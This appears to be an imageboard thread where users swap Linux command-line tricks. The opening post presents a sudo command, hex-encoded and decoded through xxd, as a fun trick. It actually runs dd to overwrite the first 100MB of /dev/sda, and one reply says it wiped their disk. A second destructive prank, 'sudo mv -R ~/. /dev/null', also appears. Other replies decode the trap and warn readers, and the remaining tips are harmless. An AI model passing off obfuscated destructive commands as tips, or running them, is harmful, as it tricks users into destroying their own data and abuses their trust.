Itt: we all share fun linux command line tricks

itt: we all share fun linux command line tricks

sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)

run that then listen closely

Other urls found in this thread:

wttr.in/
kirrus.co.uk/2010/09/linux-beep-music/
twitter.com/SFWRedditImages

>echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p

>zsh: correct 'xxd' to 'xsd' [nyae]? n
>zsh: command not found: xxd

kek.

>count=100
For what reason?

I'm on mobile and am too lazy to unxxd in my head; what does it say?

>56785731
Kek nevermind

dd if=/dev/zero of=/dev/sda count=100 bs=1M

>too lazy to unxxd in my head
sure thing bud

Wow is that from Ocarina of Time? That was pretty cool.

sudo lsmod to list loaded kernel modules.

goto ;

yes, I'm sure you did that in your head and didn't just do hex to string, you are a very smart boy and im sure the other kids in your class dont know what they are talking about when they say those mean things

I never claimed that, faggot
Also nice underage projection, now go back to Cred Forums

Cool music OP.

so I just wiped the first 100mb of my disk, I wanted to switch in my bigger drive anyways, which distro should I try?

sudo mv -R ~/. /dev/null

It'll wipe your MBR/UEFI. 100MB is a pretty common size for a UEFI partition.

touch .tourself

I am reading the man page for xxd and I still don't understand why this specific command attempted to write to /dev/sda.

it didn't

$ $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)
dd: failed to open '/dev/sda': Permission denied

xxd converts a stream of bytes to hexadecimal digits.
Giving it -r does the reverse, so that it will read a stream of hexadecimal digits to a stream of bytes.
-p just does "plaintext" mode, so it doesn't output/read any offsets or other xxd formatting information.

So doing
echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p
will output
dd if=/dev/zero of=/dev/sda count=100 bs=1M
That's where the $(...) comes in, which is the bash syntax for "execute this as a command".
So you're pretty much trying to fuck over your hard-drives MBR.

>dd

why is bash so dangerous? this scares me

Well I figured it did something stupid which is why I didn't run it with elevated privileges.

How do I get xxd to just display what it interprets the hex dump as?

alias meteo='curl --silent wttr.in/ | head -7'

ayy lmao

mkcd () {
[ ! -d "$1" ] && mkdir -vp "$1" && cd "$1"
}

this creates mustard gas

>How do I get xxd to just display what it interprets the hex dump as?
Remove the $(...).
>which is why I didn't run it with elevated privileges
You seriously shouldn't run random commands that you don't understand, even if you're not running it with elevated privileges.
He could have easily made the command wipe your home directory.

It's just bash's job to read commands and execute them.
If you do something stupid, that is your fault.

Are there any commands to make the motherboard's speaker make sound/music?

>[ ! -d "$1" ] &&

mkdir will output an error message and a non-zero exit code if the target already exists. You're just suppressing mkdir's error output by adding this conditional.

that site thinks I'm in barbados...

Install the "beep" program.
kirrus.co.uk/2010/09/linux-beep-music/

r9k() {base64 /dev/random | tr -cd '[a-z][0-9]' | head -c 9 | pbcopy}

*without any programs installed

function mkcdir()
{
/bin/mkdir -p $@ && cd "$_"
}

Why can't you just install "beep"?
Making the internal speaker beep requires root privileges, so if you don't have that, at best all you can do is echo -e "\a".

>ejecting an optical disc requires root privileges
>mounting a network share in your home directory requires root privileges
>making the internal speaker beep requires root privileges

Linux everyone.

One has the freedom to install automount or configure udev.
Go away, noobtroll.

Macfag detected

Kek, you're lucky today.

Didn't know it was "arbitrary command from Cred Forums execution"-day

>It needs one to know one
-Jerry

:^)

What did it do?

Do not shut down. Start backing up now to a USB, starting with /home, then /etc, whatever else was on /dev/sda (ls -al / )

Jesus christ this thread is horrifying.

You need to reboot in order to see

fortune | cowsay

You just wiped the first 100MB of /dev/sda (autismally I might add, who the fuck puts count before bs?)
see:

echo '16i[q]sa[ln0=aln100%Pln100/snlbx]sbA0D4D465452snlbxq'|dc

>not realising that there are groups this
%audio
%media
etc.

>zsh: command not found: dc

kek

not my fault you don't have dc installed, retard

>running obscure commands on Cred Forums

I like to call it "thinning the herd" user. who the fuck would want the sort of dumb cunt who runs this shit on Cred Forums anyway?

Obvious vm is obvious

Well the herd shouldn't be this fucking large. It doesn't take a genius to figure out that you shouldn't run commands if you haven't a clue what they do. Especially on a site that is designed to troll the fuck out of everyone.

I can run fork-bombs all day on my VPS, I mean, who gives a fuck honestly?

not here satan

Not him, but it's not 2006 any more. Cred Forums a shit and the premies are fanning out now.

I would be too lazy for a vm and simply
alias sudo='echo "100+0 records in
100+0 records out
104857600 bytes (105 MB, 100 MiB) copied, 0.03166 s, 856 MB/s"'


or just print it including the prompt.